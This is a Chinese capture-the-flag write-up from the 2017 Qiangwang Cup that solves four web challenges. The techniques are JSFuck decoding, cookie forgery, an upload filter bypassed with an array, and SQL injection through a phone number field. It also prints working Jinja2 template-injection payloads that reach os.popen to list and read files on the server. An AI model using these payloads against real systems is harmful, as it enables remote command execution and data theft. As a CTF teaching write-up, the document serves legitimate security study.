强网杯 CTF 2017 Writeup

  1. broken
  2. who are you?
  3. phone number
  4. Musee de X

broken


Jsfuck
直接console中跑发现报错

后面加个]

看到最后面的(),应该是函数调用,去掉

who are you?


设置cookie

还是没有权限,从cookie入手,base64解码

thrfg怎么看都没意义,后来想到rot13

嗯,改guest为admin,rot13->base64


用post上传,指定filename和data。
尝试上传php木马,发现会检测左尖括号。

尝试绕过无果,后来想到检测左尖括号可能可以用数组绕过

直接给flag

phone number

逻辑就是注册账号包括手机号信息,登录,check有多少个具有相同手机号的账号。
看到check页面中,

admin的电话藏有大秘密。
尝试账号密码注入失败,结合题目,应该是通过手机号注入的。
提交一般字符串,提示

,后面发现提交0e科学计数法和0x的hex编码可以绕过,insert点在注册的手机号这里,
输出点在check页面,可以insert注入。


而且是union注入。


数据库名webdb


表名为user


发现没有返回列名,然后看到

原来长度有限制,简化下


得到列名id,username,phone,password

拿数据,得flag.

Musee de X

scimg.jb51.net/allimg/150811/14-150Q1142KAF.jpg
报错信息中发现有jinja2

直接搜索python SSTI找到

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()}}


这水印输出字符长度有限制。

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59]}}


找到catch_warnings类了

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59] .\_\_init\_\_.func\_globals['linecache'].\_\_dict\_\_['o'+'s'].\_\_dict\_\_['pop'+'en']('ls').read()}}


发现flag文件,已经发现水印输出中过滤了一些字符,可以猜测flag文件名为flag_8d294abea9f0,额,不用猜直接flag*。

{{''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[59] .\_\_init\_\_.func\_globals['linecache'].\_\_dict\_\_['o'+'s'].\_\_dict\_\_['pop'+'en']('cat flag\_\*').read()}}


额,看不全,找张大图
http://pic1.win4000.com/wallpaper/d/58c0f570b231b.jpg

flag{06015a4f-8d29-4abe-a9f0-e1cb18911671}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com